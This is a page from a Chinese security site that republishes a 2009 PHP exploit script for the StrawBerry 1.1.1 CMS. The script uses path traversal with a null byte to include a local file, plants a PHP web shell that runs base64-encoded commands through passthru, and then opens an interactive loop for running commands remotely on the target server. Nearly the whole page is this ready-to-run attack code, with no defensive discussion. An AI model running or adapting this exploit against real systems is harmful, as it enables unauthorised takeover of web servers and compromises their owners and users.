首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
StrawBerry 1.1.1 LFI / Remote Command Execution Exploit
来源:http://antichat.ru/ 作者:[AVT] 发布时间:2009-05-15  

<?php

/*********************************************************************
 * StrawBerry 1.1.1 LFI / Remote Command Execution Exploit           *
 * Site: http://strawberry.goodgirl.ru/                              *
 *********************************************************************
 * magic_quotes_gpc = Off                                            *
 *********************************************************************
 * Author: [AVT]                                                     *
 * Date : 10.05.09                                                   *
 * My Site: http://antichat.ru/                                      *
 *********************************************************************/
set_time_limit(0);
error_reporting(0);
list($cli,$host,$path) = $argv;

if ($argc != 3) { 
   
    print "\no-------------------------------------------------------------o\n";
    print "\r|   StrawBerry 1.1.1 LFI / Remote Command Execution Exploit   |\n";
    print "\r|           Site: http://strawberry.goodgirl.ru/              |\n";
    print "\ro-------------------------------------------------------------o\n";
    print "\r| Author: [AVT]                                               |\n";
    print "\r| My Site: http://antichat.ru/                                |\n";
    print "\ro-------------------------------------------------------------o\n";
    print "\r| Usage:   php expl.php [host] [path]                         |\n";
    print "\r| host     localhost                                          |\n";
    print "\r| path     /news/                                             |\n";
    print "\r| Example: php expl.php site.com /news/                       |\n";
    print "\ro-------------------------------------------------------------o\n";
    exit;     
}        
if (check_host ())
 {
 post_shell();
 }
use_shell();

function check_host ()
 {
 global $host,$path;
 $data = "GET {$path}example/index.php?do=../../../../db/base/ipban.MYD%00 HTTP/1.1\r\n";
 $data .= "Host: $host\r\n";
 $data .= "Connection: close\r\n\r\n";
 $html = send ($host,$data);
     if (!stristr($html,'a:'))
  {
  print "\ro-------------------------------------------------------------o\n";
  print "\r| Exploit Failed!                                             |\n";
  print "\ro-------------------------------------------------------------o\n";
  exit;
      }
 elseif (stristr($html,'<code>'))
  {
  return false;
      }
 else
  {
  return true;
  }
 }


function send ($host,$data)
 {
 if (!$sock = @fsockopen($host,80))
  {
  die("Connection refused, try again!\n");
      }    
 fputs($sock,$data);
 while (!feof($sock)) { $html .= fgets($sock); }
 fclose($sock);
 return $html;
 }

function post_shell()
 {
 global $host,$path;
 $post  = "add_ip=" . urlencode('<code><?php passthru(base64_decode($_GET[cmd]));?></code>') . "&action=add&mod=ipban";
 $data .= "POST {$path}example/index.php?do=../../../../../inc/mod/ipban.mdu%00 HTTP/1.1\r\n";
 $data .= "Host: $host\r\n";
 $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
 $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $data .= "Content-Length: ".strlen($post)."\r\n\r\n";
 $data .= "$post\r\n\r\n";
 send ($host,$data);
 }


function use_shell()
 {
     while (1)
  {
         echo "[Shell]~$: ";
         $cmd = stripslashes(trim(fgets(STDIN))); 
         if (preg_match('/^(exit|--exit|quit|--quit)$/i',$cmd)) die("\nExited\n");
         print exec_cmd($cmd);    
  }
 }


function exec_cmd($cmd)
 {
 global $host,$path;

 $cmd = base64_encode($cmd);
 $data .= "GET {$path}example/index.php?cmd={$cmd}&do=../../../../db/base/ipban.MYD%00 HTTP/1.1\r\n";
 $data .= "Host: $host\r\n";
 $data .= "Connection: close\r\n\r\n";
 $html = send ($host,$data);
 preg_match_all('/<code>(.*)<\/code>/si', $html, $match);
 return $match[1][0];
 }

?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.6.29 ptrace_att
·2daybiz Business Community Scr
·DigiMode Maya 1.0.2 (.m3u / .m
·2daybiz Template Monster Clone
·Linux Kernel 2.6.x ptrace_atta
·linux/x86-64 setuid(0) + execv
·MaxCMS 2.0 (m_username) Arbitr
·Jieqi CMS versions 1.5 and bel
·Family Connections CMS <= 1.9
·Audioactive Player 1.93b (.m3u
·Pinnacle Studio 12 (.hfz) Dire
·Harland Scripts 11 Products Re
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved